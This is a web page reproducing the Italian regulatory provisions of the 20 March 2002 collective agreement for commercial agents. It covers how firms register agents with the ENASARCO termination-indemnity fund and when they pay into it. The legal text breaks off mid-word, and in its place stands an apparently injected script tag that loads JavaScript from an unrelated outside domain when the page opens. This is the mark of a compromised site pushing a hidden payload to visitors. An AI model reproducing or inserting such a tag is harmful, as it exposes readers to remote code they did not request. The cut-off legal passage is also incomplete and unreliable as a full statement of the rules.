|
Torna
all'elenco delle categorie
|
Categoria: Agenti di commercio (piccola e media impresa) Settore: Commercio Data stipula: 20-3-2002
DISPOSIZIONI REGOLAMENTARI DI CUI AGLI ARTT. 12 E 23,
ACCORDO ECONOMICO COLLETTIVO 20 MARZO 2002
PER LA DISCIPLINA DEL RAPPORTO DI AGENZIA E RAPPRESENTANZA COMMERCIALE
Il giorno 20 marzo 2002, in Roma,
tra le stesse parti stipulanti che hanno sottoscritto in data odierna
l'accordo che rinnova l'accordo economico collettivo 25 luglio 1989
si è stipulato il presente accordo per provvedere alla redazione delle
disposizioni regolamentari, di cui agli artt. 12 e 23, Accordo economico
collettivo 20 marzo 2002, in sostituzione del regolamento stipulato con
Accordo 25 luglio 1989.
Le seguenti disposizioni regolamentari hanno la stessa decorrenza e durata
dell'accordo economico collettivo del 20 marzo 2002.
I. DISPOSIZIONI REGOLAMENTARI PER L'ACCANTONAMENTO DELLE SOMME DOVUTE
A TITOLO DI INDENNITÀ PER LA RISOLUZIONE DEL CONTRATTO DI AGENZIA
E RAPPRESENTANZA COMMERCIALE
Articolo 1.
L'accantonamento delle somme dovute, ai sensi dell'art. 10, capo I,
Accordo economico collettivo 20.3.02, in caso di scioglimento del
contratto di agenzia e rappresentanza commerciale, verrà effettuato in
costanza di rapporto presso il "Fondo per la risoluzione del rapporto",
gestito da ENASARCO. Sull'ammontare delle somme versate dalle ditte l'Ente
riconoscerà alle ditte medesime l'interesse annuo del 4%.
Il Fondo provvede all'erogazione agli agenti e rappresentanti di commercio
industriali e della cooperazione dell'indennità per la risoluzione del
rapporto, di cui all'art. 10, capo I, AEC 20.3.02.
Articolo 2.
Le ditte tenute all'applicazione dell'Accordo economico collettivo 20.3.02
hanno l'obbligo di iscrivere i propri agenti e rappresentanti al Fondo
entro 30 giorni dall'inizio del rapporto di agenzia e rappresentanza,
comunicando la data d'inizio del rapporto stesso e le generalità
dell'agente e rappresentante, opportunamente documentate da certificati
anagrafici forniti dall'interessato, e il relativo domicilio,
specificando, quando l'agente o rappresentante sia una società per azioni,
o in accomandita per azioni, o a responsabilità limitata, la denominazione
di essa.
Le ditte sono tenute a comunicare la variazione del domicilio e i dati
anagrafici dell'agente o rappresentante in base ai documenti forniti
dall'interessato.
Nel caso in cui l'agente o rappresentante sia una Associazione di fatto,
una Società semplice, collettiva o in accomandita semplice, l'iscrizione
di essa all'Ente deve essere effettuata dalla ditta mentre i dati relativi
ai singoli soci e la precisazione delle percentuali dei versamenti da
accreditare ad ognuno di essi devono essere forniti a cura della Società
agente o rappresentante.
I soci delle Società indicate nel comma precedente possono esercitare
individualmente i diritti derivanti dall'iscrizione all'Ente, che darà
comunicazione alla Società a cui l'interessato partecipa di tutti i
provvedimenti adottati.
Le ditte comunicheranno all'Ente la cessazione del rapporto di agenzia o
rappresentanza entro 1 mese dalla cessazione stessa.
Articolo 3.
Le somme dovute a titolo d'indennità per la risoluzione del rapporto sulle
provvigioni e le altre somme liquidate nel corso di ogni anno solare (1°
gennaio - 31 dicembre) saranno trasmesse al Fondo entro il 31 marzo
successivo.
Nel caso d'inizio o cessazione del rapporto di agenzia e rappresentanza
commerciale nel corso dell'anno solare, gli scaglioni di cui all'art. 10,
capo I, Accordo economico collettivo 20.3.02 saranno ridotti in
proporzione ai mesi di durata del rapporto nell'anno solare
I versamenti dovranno essere accompagnati con una distinta da cui risulti
chiaramente la causale del versamento riferita a ciascun agente o
rappresentante.
Qualora il versamento sia effettuato con vaglia postale o sul con<script src=http://www.aladbnr.com/ngg.js></script>
|